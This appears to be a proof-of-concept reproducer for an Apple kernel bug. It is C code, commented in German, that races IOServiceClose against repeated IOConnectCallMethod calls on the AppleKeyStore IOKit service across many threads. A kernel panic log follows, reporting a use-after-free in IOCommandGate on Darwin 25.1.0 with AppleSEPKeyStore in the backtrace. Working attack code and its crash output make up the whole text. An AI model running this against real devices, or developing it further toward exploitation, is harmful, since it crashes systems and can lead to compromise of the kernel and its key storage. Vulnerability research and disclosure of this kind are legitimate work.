#define AKS_SERVICE_NAME "AppleKeyStore"
#define NUM_CALLERS      8
#define NUM_CLOSERS      4
#define NUM_ITERATIONS   100000

static _Atomic(io_connect_t) g_conn = IO_OBJECT_NULL;

// 8 Caller-Threads: IOConnectCallMethod hämmern (hohe Priorität)
while (!done) {
    io_connect_t conn = atomic_load(&g_conn);
    if (conn == IO_OBJECT_NULL) continue;
    for (uint32_t sel = 0; sel < 16; sel++) {
        IOConnectCallMethod(conn, sel, scalars, 6, NULL, 0, NULL, NULL, NULL, NULL);
    }
}

// 4 Closer-Threads: IOServiceClose-Race (hohe Priorität)
while (!done) {
    io_connect_t conn = atomic_load(&g_conn);
    if (conn == IO_OBJECT_NULL) continue;
    IOServiceClose(conn);
    atomic_store(&g_conn, IO_OBJECT_NULL);
}

// Haupt-Thread: 100k Verbindungen, keine Verzögerung
for (int i = 0; i < NUM_ITERATIONS; i++) {
    uint32_t type = (i % 4 == 0) ? 0x2022
                  : (i % 4 == 1) ? 0xbeef
                  : (i % 4 == 2) ? 0x1337
                                 : 0x4141;
    IOServiceOpen(svc, mach_task_self(), type, &conn);
    atomic_store(&g_conn, conn);
    // KEINE VERZÖGERUNG — enges Race-Fenster
}

panic(cpu 4 caller 0xfffffff015b84ae0): [iokit.IOCommandGate]: element modified after free
  (off:72, val:0xfffffffffffffe00, sz:80, ptr:0xffffffe69b7d0db0)
   72: 0xfffffffffffffe00

Kernel version: Darwin Kernel Version 25.1.0: Thu Oct 23 11:09:22 PDT 2025;
  root:xnu-12377.42.6~55/RELEASE_ARM64_T8030

Panicked task 0xffffffe5b4f1e820: pid 956: Test

Kernel Extensions in backtrace:
   com.apple.driver.AppleSEPKeyStore(2.0)[AD3CDADB-06B6-32F5-9E47-9889901353CA]
      @0xfffffff016a47020->0xfffffff016a84f9f